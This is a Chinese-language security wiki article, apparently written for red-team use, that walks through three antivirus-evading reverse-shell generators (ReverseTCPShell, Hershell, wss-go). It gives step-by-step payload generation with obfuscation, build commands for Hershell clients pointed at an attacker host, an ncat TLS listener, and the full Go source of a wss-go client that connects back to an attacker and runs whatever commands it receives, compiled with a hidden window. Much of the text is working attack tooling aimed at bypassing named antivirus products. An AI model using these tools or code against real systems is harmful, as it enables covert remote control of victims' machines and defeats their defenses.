来源:Tide安全团队技术Wiki
前言
众所周知在做红蓝对抗的时候不可或缺的工具便是shell生成器,我们耳熟能详的shell生成器,有CobaltStrike、msfconsole等,但是由于功能过于强大,且使用的人数比较多,这些著名的shell生成器所生成的shell特征已经被录入特征库,被各大厂商的杀毒软件和流量检测软件盯的相当紧,生成的shell可能刚上传这边就会报警。为了解决这种情况常见的有两种方案,一是工具二开,但对开发功底要求较高,二是选择小众、简单、但是免杀效果较好的shell生成软件,而本文将会给大家介绍ReverseTCPShell
、Hershell
、wss-go
这三款款功能较少,但是免杀效果较好的shell生成器。
环境配置
系统版本:
- Windows7 SP1 build 7601 x64
杀软版本:
- Windows防火墙
- 360杀毒正式版——5.0.0.8183
- 腾讯电脑管家——15.1.22391.224
- 火绒——5.0.64.3
ReverseTCPShell C2
ReverseTCPShell C2
是一款使用powershell编写的反弹shell的工具,流量经过AES加密,payload可以通过ASCII
、BXOR
、Base64
三种方式进行混淆,混淆后的Payload可绕过一些杀软的检测
功能介绍:
- Modules | -显示C2服务器模块
- Info | -显示远程主机信息
- Upload | -从本地主机上传文件到远程主机
- Download | -从远程主机下载文件到本地主机
- Screenshot| -屏幕截图到从远程主机到本地主机
下载地址:https://github.com/ZHacker13/ReverseTCPShell
使用过程
工具下载以后,文件夹中会有一个名为ReverseTCP.ps1
的文件,使用Powershell运行它
设置好本机ip和监听端口
设置好ip和监听端口后,会提示让你选择混淆方式,这里我们选择Base64
混淆方式(3种混淆方式都测试过,均能有效绕过杀软全家桶,根据个人喜好进行选择即可)
混淆完毕后,生成两段payload,一段是针对powershell的一段是针对cmd的,payload生成完毕后,工具自动开启端口监听,将生成的payload,复制到靶机的cmd或者powershell中(一定要选择对应的payload),成功后,这边会反弹一个shell回来。
能够执行命令,表示我们成功绕过了杀软全家桶。
Hershell
使用Go语言编写的简单TCP
反向shell生成器,使用TLS
来保护通信,并提供证书公钥指纹锁定功能,防止流量拦截。
支持的系统如下:
- Windows
- Linux
- Mac OS
- FreeBSD
因为是使用Go语言编写的,所以在使用之前需要先安装好go语言的环境
如果已经安装好go的环境这里可以直接跳过
Go语言环境安装(可跳过)
首先去官网下载go的安装包,下载对应系统的安装包,我这使用的是Mac OS
,下载pkg安装包后,双击安装即可
然后在终端中依次输入如下命令
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/goph # (可选设置,建议有这个环境,后面会方便一些)
go version # 查看是否安装成功
使用
获取项目依赖:
go get github.com/lesnuages/hershell
在工作目录下获取项目,并生成证书:
git clone https://github.com/lesnuages/hershell.git
cd hershell
make depends
以windows为例,生成一个客户端:
make windows64 LHOST=xxx.xxx.xxx.xxx(攻击机ip) LPORT=xxxx(攻击机端口)
各种系统生成客户端的命令如下:
- Windows
# 32位系统
make windows32 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
# 64位系统
make windows64 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
- Linux
# 32位系统
make linux32 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
# 64位系统
make linux64 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
- MacOS
make macos LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
GitHub项目里所给的教程里到这里就生成成功了,但是在编译的过程中会出现问题,需要通过报错,去调整依赖包,从而将依赖包的路径和文件配置中的路径相匹配,完成编译。
将生成的hershell.exe
文件放到靶机里,刚拷贝过去,还没等运行它无了。。。。后来经过排查发现,能够绕过Windows防火墙、火绒、电脑管家,但是终究还是逃不过360杀毒。。。于是乎,我把360杀毒给关了。
然后可以使用一些程序开始进行监听,官方给出的有这些程序:
- socat
- ncat
- openssl server module
- metasploit multi handler
建议使用ncat,安装nmap即可拥有
在刚才编译hershell.exe
的目录下执行命令
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp xxxx #xxxx为攻击机的端口,一定注意要跟前面编译的端口一样
在虚拟机中运行hershell.exe
,这边拿到shell
其他的几种方法,socat
一直处于报错状态,无法进行测试。
至于metasploit multi handler
,需要搭配nca
t或socat
拿到shell以后再传给metasploit multi handler
,而且经过测试,互传shell失败,截至目前能成功拿到shell的只有ncat
。
wss-go
简介
一款使用Golang编写的Websocket with SSL的反向Shell,支持跨平台,适用于Windows、Linux和MacOS,使用Websocket进行通信,并使用SSL证书进行加密。
特性
- 握手阶段使用的是HTTP协议,所以在握手过程中不容易阻塞,可以通过各种HTTP代理服务器。
- 使用SSL证书进行加密。
- 数据格式相对轻量,性能开销小,通信高效隐蔽。
免杀效果
能够绕过电脑管家、火绒以及微软自带的防火墙,但是无法绕过360杀毒
使用流程
跟前面提到的HerShell一样,因为是使用Go语言进行编写的,所以使用之前要保证已经安装好Go语言的环境,这里就不进行赘述了。
首先需要编译两个执行文件,一个客户端的,一个服务端的。
客户端文件(client)是后续放在我们的被攻击机中,服务端文件(server)放在我们的攻击机上。
下载好文件,首先需要修改一下client/client.go
文件中的ip地址
package main
import (
"crypto/tls"
"flag"
"github.com/gorilla/websocket"
log "github.com/sirupsen/logrus"
"net/url"
"os"
"os/exec"
"strings"
)
var (
addr = flag.String("addr", "localhost:443", "")
)
func init() {
//log.SetFormatter(&log.JSONFormatter{})
log.SetOutput(os.Stdout)
//log.SetLevel(log.WarnLevel)
log.SetLevel(log.InfoLevel)
}
func main() {
flag.Parse()
tlsConfig := tls.Config{
InsecureSkipVerify: true,
}
dial := websocket.Dialer{TLSClientConfig: &tlsConfig}
u := url.URL{Scheme: "wss", Host: *addr, Path: "/"}
log.Printf("connecting to %s", u.String())
c, _, err := dial.Dial(u.String(), nil)
if err != nil {
log.Fatalln(err)
}
defer c.Close()
for {
_, message, err := c.ReadMessage()
if err != nil {
log.Fatalln(err)
}
cmdList := strings.Split(string(message), " ")
cmd := exec.Command(cmdList[0], cmdList[1:]...)
out, err := cmd.Output()
err = c.WriteMessage(websocket.TextMessage, out)
if err != nil {
log.Fatalln(err)
}
}
}
将代码中的localhost
改为攻击机的ip地址
在项目所在目录输入如下命令分别对攻击机文件和被攻击机文件进行编译
# windows系统
go env -w GOOS=windows
# 编译攻击机文件
go build -o wssServer server/server.go
# 编译被攻击机文件
go build -o wssClient.exe -ldflags -H=windowsgui -ldflags "-s -w" client/client.go
# MacOS/Linux系统
go env -w GOOS=darwin/linux
# 编译攻击机文件
go build -o wssServer server/server.go
# 编译被攻击机文件
go bulid -o wssClient client/client.go
编译完毕后,文件分别上传到攻击机和被攻击机中,在终端中分别运行对应文件,成功弹回shell证明我们成功绕过腾讯电脑管家和火绒。
参考链接:
https://www.cnblogs.com/2rsh0u/p/12657962.html
https://www.cnblogs.com/-mo-/p/12238063.html
https://github.com/ZHacker13/ReverseTCPShell
https://github.com/sysdream/hershell
6 条评论
666
我你爹
谁禁言我谁是狗
反弹
你反弹个锤子,给你一榔头